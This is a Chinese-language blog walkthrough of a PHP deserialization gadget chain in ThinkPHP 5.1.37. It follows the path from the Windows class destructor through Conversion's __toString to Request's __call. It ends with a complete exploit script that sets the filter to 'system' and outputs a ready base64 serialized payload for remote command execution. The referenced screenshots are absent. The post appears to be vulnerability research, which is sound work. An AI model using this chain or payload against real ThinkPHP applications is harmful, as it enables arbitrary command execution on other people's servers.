參考文章:https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用鏈/
自己就跟着走一遍體會下!
反序列化的常見起點
__wakeup 一定會調用
__destruct 一定會調用
__toString 當一個對象被反序列化后又被當做字符串使用
反序列化的常見中間跳板:
__toString 當一個對象被當做字符串使用
__get 讀取不可訪問或不存在屬性時被調用
__set 當給不可訪問或不存在屬性賦值時被調用
__isset 對不可訪問或不存在的屬性調用isset()或empty()時被調用
形如 $this->$func();
反序列化的常見終點:
__call 調用不可訪問或不存在的方法時被調用
call_user_func 一般php代碼執行都會選擇這里
call_user_func_array 一般php代碼執行都會選擇這里
現在又多了phar反序列化的利用方式,能夠反序列化其metadata部分,利用的范圍增加了許多!
環境:thinkphp 5.1.37
漏洞挖掘分析
1、尋找function __destruct
的析構函數為如下:
這里跟的是Windows類
其中removeFiles 方法中 file_exists 能夠觸發 __toString 方法
可以對__toSting 方法進行全局搜索 發現 Conversion 中有實現
它會調用 toJson 方法
toJson中接着會調用 toArray 方法,繼續跟
在該 toArray 方法中 就可以去尋找能不能找到想要的反序列化的終點造成命令執行的POP鏈,滿足條件都為 $可控變量->方法(參數可控)
這里找的是如下這塊
因為滿足條件需要時 $可控變量->方法(參數可控),所以還要看 $relation 能否可控,受getRelation函數的影響
那么 $this->append ,append變量就一定需要控制
接着走的當前流程就是如下
這時候 $relation->visible($name); 就會去調用__call方法,我們需要找一個能夠利用的地方
利用的地方的條件需要:
1.該類中沒有"visible"方法, 因為這樣才能觸發__call方法
2.實現了__call方法 ,並且__call方法中有我們想要的東西,比如 call_user_func_array call_user_func 等等
Request類中的 __call方法 就滿足條件,並且 $this->hook 可控
尋找當前類中能夠利用的函數,比如 isAjax ,其中調用了param函數,那么肯定就能觸發input函數了,可以回顧下tp 5.0/1.x的命令執行漏洞!
構建EXP
可以先從第一個__destruct,那么我們用到的有Windows類,並且第二個__toString需要觸發條件是我們找好的一個類Conversion
但是你又會發現該類是trait所修飾的,那我們不能直接拿來實例化,所以可以通過找繼承這個類的來,可以找到Model類use了這個Conversion類,所以可以繼續看Model是否符合我們的需要
然而你又會發現Model還是一個抽象類,那又不行,所以繼續看誰繼承了Model類
剛剛好有一個類符合我們的需求Pivot類
然后我們最后執行的話還需要通過Request類,那么到這里的話我們要用的類一共有三大類,Pivot,Windows,Request類
那么這里還需要繼續分析,這三個類中的屬性和方法我們要怎么寫?
先看Windows類,想要讓它觸發__toString方法,那么它的files屬性一定需要一個類,並且就是Pivot類,因為這樣才可以觸發Pivot繼承來自Conversion的__toString方法
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
繼續看第二個,也就是我們的Pivot類,這個類其實就是一個傀儡的作用,主要就是為的Conversion中的__toString方法,並且我們還需要觸發Request類,觸發來自append和data屬性,所以這兩個屬性中我們還需要填上對應的要用的數據
則代碼如下所示
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
# append鍵必須存在,並且與$this->data相同
$this->append = ["huha"=>[]];
$this->data = ["huha"=>new Request()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
然后考慮最后一個Request類,因為我們需要使用這個類的isAjax方法和執行函數的屬性,所以該類為如下:
namespace think;
class Request{
protected $hook = [];
protected $filter = "system";
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'huha'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
那么到這里的話,構建代碼如下:
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
# append鍵必須存在,並且與$this->data相同
$this->append = ["huha"=>[]];
$this->data = ["huha"=>new Request()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
測試代碼:
最終EXP:
<?php
namespace think;
class Request{
protected $hook = [];
protected $filter = "system";
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'huha'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
# append鍵必須存在,並且與$this->data相同
$this->append = ["huha"=>[]];
$this->data = ["huha"=>new Request()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
//var_dump(new Windows());
echo base64_encode(serialize(new Windows()));
// TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJodWhhIjthOjA6e319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJodWhhIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjc7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czo0OiJodWhhIjt9fX19fX0=
?>
最后全部的流程圖如下: